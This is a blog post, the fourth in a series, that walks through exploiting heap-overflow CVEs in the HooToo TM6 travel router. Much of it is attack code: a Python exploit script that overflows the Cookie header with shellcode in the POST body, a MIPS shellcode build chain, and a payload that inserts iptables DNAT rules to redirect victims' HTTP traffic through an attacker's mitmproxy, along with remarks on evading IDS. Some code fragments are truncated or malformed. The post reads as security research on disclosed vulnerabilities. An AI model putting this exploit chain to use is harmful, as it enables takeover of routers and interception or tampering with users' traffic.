Exploiting the HooToo TM6 router

Part 4: Finding vulnerabilities in a router is cool. But, what’s cooler is exploiting them. The vendor has been informed of the vulnerabilities and they were recorded in the CVE database (CVE-2017-9026 and CVE-2017-9025). So, hopefully they are no longer a major threat. These vulnerabilities could be exploited in many different ways, even from an Android phone [0]. I wanted to follow through and see what useful things we could do from an attacker perspective.

Attack Usecases

There are many reasons why an attacker might want to exploit one of these devices. One obvious reason is to gain access to the user’s information or manipulate user activity. Having malware on the router means that an attacker could potentially see unencrypted traffic, modify their DNS lookups to enable man-in-the-middle attacks or inject malicious content into traffic. For example, an attacker might want the ability to inject iframes for browser exploitation or catch vulnerable update mechanisms [1].

Other reasons for leveraging the vulnerabilities in the travel routers are a bit more indirect. One is to obfuscate attack sources and make attribution harder by creating a jump point [2]. Another is to use the router to infect other systems. A person using the travel router would likely be traveling a lot and touching many different networks from a position of some trust. These networks could include hotels, airbnb’s, private residences, cafes and enterprises. And so, having malware on the device would give an attacker a foothold inside another network.


As was mentioned in earlier posts, it was easier to exploit the heap overflow rather than the stack overflow. It was easier to exploit because the request body is stored on the heap, the heap does not move around and the allocations on the heap are predictable. The latter part was a pleasant surprise, but this is probably because IOOS (the embedded webserver [3]) is a single threaded application and embedded heap libraries try to be as memory conservative as possible.

Below is the exploit script. The concept is very simple. Put the long string into the Cookie header to overflow the buffer. Then place the shellcode as the body of the POST request. This will seed the heap with our data. Then we point the function pointer of the cgi_tab structure to the shellcode at address 0x0059735c. The great thing about this vulnerability is that we get to use the last \0 appended by strcpy as part of the little-endian address. Otherwise, it would’ve been tough to add a NULL into a string operation of the HTTP parser.

import sys, socket
from time import sleep
import sys
import string
import socket
import urllib, urllib2, httplib

# set first argument given at CLI to 'target' variable
target = sys.argv[1]

buff = ["POST /protocol.csp?fname=security&opt=userlock&username=guest&function=get HTTP/1.1",
        "Connection: keep-alive",
        "Cache-Control: no-cache",
        "If-Modified-Since: 0",
        "User-Agent: Mozilla/5.0 ...",
        "Accept: */*",
        "Accept-Encoding: gzip, deflate, sdch",
        "Accept-Language: en-US,en;q=0.8,ru;q=0.6",
        "Content-length: [[shelllen]]",
        "Cookie: [[cookies]]",

def getBuffer():
    return "\r\n".join(buff)

exploit = ""

buff = getBuffer()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode = "SS" + "SSSSSSSS" + 
              open("shellcode/shellcode.bin", "rb").read()

print "shellcode size: %d" % len(shellcode)

buff = string.replace(buff, "[[shell]]", shellcode)
buff = string.replace(buff, "[[shelllen]]", str(len(shellcode)))
send_buff = string.replace(buff, "[[cookies]]", 
              exploit + ("A" * (size - len(exploit))) + 

print "Sending buffer with length: " + str(len(send_buff))

back_buff = s.recv(1024)

print "Received size: %d" % len(back_buff)
print back_buff


The script will read the shellcode from shellcode.bin binary file and insert it as the body of the message. Luckily for us, the POST message is designed for any kind of data and so we didn’t have to do any encoding. Of course, in a real situation, it would be good to have some sort of encoding to avoid IDS detection.


Now that we are able to control the Program Counter and point it a reliable location of a buffer we control, we can start building shellcode that does something useful. Unlike regular programs, shellcode won’t get to be loaded by a loader. All we get is the ability to execute raw machine code. So, all bootstraping, linking and such would have to be handled manually.


  addi    $t9, $t9, 16        // Set t9 to point to compiled code
  sw      $t9, GPOFFSET($t9)  // Set the GPOFFSET pointer

Initially the Program Counter will point to the entry label. This preable is necessary in order to allow the following position independant code (PIC) to execute - main executable. The preamble fixes up the Global Offset variable. Even through the PIC is supposed to be position independent, it still relies on a pointer that it stores as a variable just after the machine code. This pointer is supposed to point to the beginning of the PIC. This way the code knows how to compute a relative offset. However, since the compilation is happening locally, the compiler does not know the initial value of GPOFFSET. So we have to set it.

At the time of exection, the location of the shellcode buffer will be stored in register $t9. Our task is to set the GPOFFSET value to the top of the code compiled from the below C program. We do this by offsetting 16 bytes from the start of the shellcode - to skip the preamble. Then, we make sure that the register $t9 actually points to the beginning of the compiled code.

main executable:

 * Shellcode entry point. We intentionally place it in a 
 * seperate section in order to use a linker script to 
 * place it at the beginning of the binary.
static int main()
    __attribute__((section (".entry")));

static int (*do_cmd)(const char*) = NULL;

int main() {
  do_cmd = (int (*)(const char*)) (0x00410CD4);

  do_cmd("/etc/init.d/web restart");

  return 0;

The above code is the the main shellcode logic. You will notice that there is a do_cmd function. We coopt this function from the IOOS main binary. All it does is execute a shell command. This is perfect for our purposes. The command I’ve chosen to execute is the one that restarts the service. This is a very quick operation and leaves little trace. Basically, I was too lazy to construct a cleaner cleanup method. However, with a device such as this with such poor quality of security, I feel this is the appropriate level of effort and will not be caught by 99% of users. So, the shellcode will never actually return to the execution path that it interrupted.

After compilation, the shellcode binary looks something like this. You can clearly see the preamble with some NOP alignment and the compiled main function following that. We can see that at the beginning of the fuction, the $t9 register is expected to be pointing to the top of the main executable that starts at address 0x10.

ROM:00000000                 .text # ROM
ROM:00000000                 addi    $t9, 0x10
ROM:00000004                 sw      $t9, 0x3A8($t9)
ROM:00000008                 nop
ROM:0000000C                 nop
Main excutable:
ROM:00000010                 li      $gp, 0
ROM:00000018                 addu    $gp, $t9      // $t9
ROM:0000001C                 addiu   $sp, -0x28
ROM:00000020                 sw      $ra, 0x24($sp)
ROM:00000024                 sw      $fp, 0x20($sp)

The build script was a modification of the ShellcodeWrapper script written by Google’s ProjectZero [4]. It was made for ARM64, but with some modifications it was possible to get it to produce useful MIPS shellcode.



#Compiling the main C code in a position-independant manner
${PREFIX}gcc -mabicalls -fpic -G 0 -fPIC -fPIE -O0 \ 
   -c main.c -o main.o
if [ $? -ne 0 ]; then
  echo "Failed to compile C shellcode"
  exit 1

${PREFIX}objcopy -O binary main.elf main.bin
GPOFFSET=`${PREFIX}objdump -D -b binary -mmips shellcode.bin | \
    grep -F '(gp)' | sed 's/[,)(]/ /g' | awk '{print $5}' | \
    head -1`


#Assembling the entry stub and converting it to a binary blob
${PREFIX}as --defsym GPOFFSET=${GPOFFSET} entry.S -o entry.elf
if [ $? -ne 0 ]; then
  echo "Failed to assemble complete assembly file"
  exit 1
${PREFIX}objcopy -j .text -O binary entry.elf entry.bin
if [ $? -ne 0 ]; then
  echo "Failed to copy sections out of ELF file"
  exit 1

#Using our special linker script to make sure the main 
#  function is at the beginning of the shellcode file
${PREFIX}ld -pie -T ld_script main.o -Map=map.txt -o main.elf

#Concatenating the two binary blobs to form our shellcode
cat entry.bin > shellcode.bin
cat main.bin >> shellcode.bin

#Copying the code into whatever output directory you need it in
cp shellcode.bin /path/to/your/shellcode/binary

Building the MIPS tool chain for cross compilations can be quite a chore, but with the resources below I got to the promise land, with Ubuntu, relatively quickly:

The attack

Now that we have arbitrary execution on the device and we know how to build the shellcode, the possibilities are limitless. We could build and install implants and/or reconfigure the device. I’ve decided to explore one option of reconfiguring the device by forcing it to reroute HTTP traffic via a malicious server.

int main() {
  do_cmd = (int (*)(const char*)) (0x00410CD4);

  do_cmd("iptables -t nat -A PREROUTING -p tcp -i br0 
            --src --dport 80 -j DNAT 
          /etc/init.d/web restart");

  return 0;

The device is a router that runs a version of Linux, so almost by definition we should be able to play with the iptables firewall rules. So, we install a rule that will NAT port 80 traffic from client via a public proxy at

# iptables -t nat -L
target     prot opt source               destination         
DNAT       udp  --  anywhere       \
     udp dpt:domain to: 
DNAT       tcp  --          anywhere       \
     tcp dpt:http to: 

On the proxy we run an instance of the MITM Proxy [6] with flags to forward any request to its intended destination. This will give us the ability to transparently observe or modify the user’s traffic. According to Google’s transperancy report [5], there are still quite a lot of major sites that do not use TLS by default. Just another example that one can never trust network infrastructure [7].


To review, we have taken a devices off the shelves. Explored its attack surface. Got a terminal where we could perform dynamic analysis with a debugger. Then, found vulnerabilities in the CGI webserver and exploited them. In this article we have seen one possible scenario how an attacker could start taking advantage of the vulnerabilities to change users’ traffic. The attacker could potentially use this vector to deploy browser exploits or collect sensitive user information.


[0] Exploit Routers on an Unrooted Android Phone

[1] Wave your false flags! Deception tactics muddying attribution in tergeted attacks

[2] Update Services Vulnerability Summary

[3] Reverse Engineering of an Embedded Webserver

[4] Attaching the shellcode wrapper.

[5] HTTPS on Top Sites

[6] mitmproxy

[7] Zero Trust Networks: Building Secure Systems in Untrusted Networks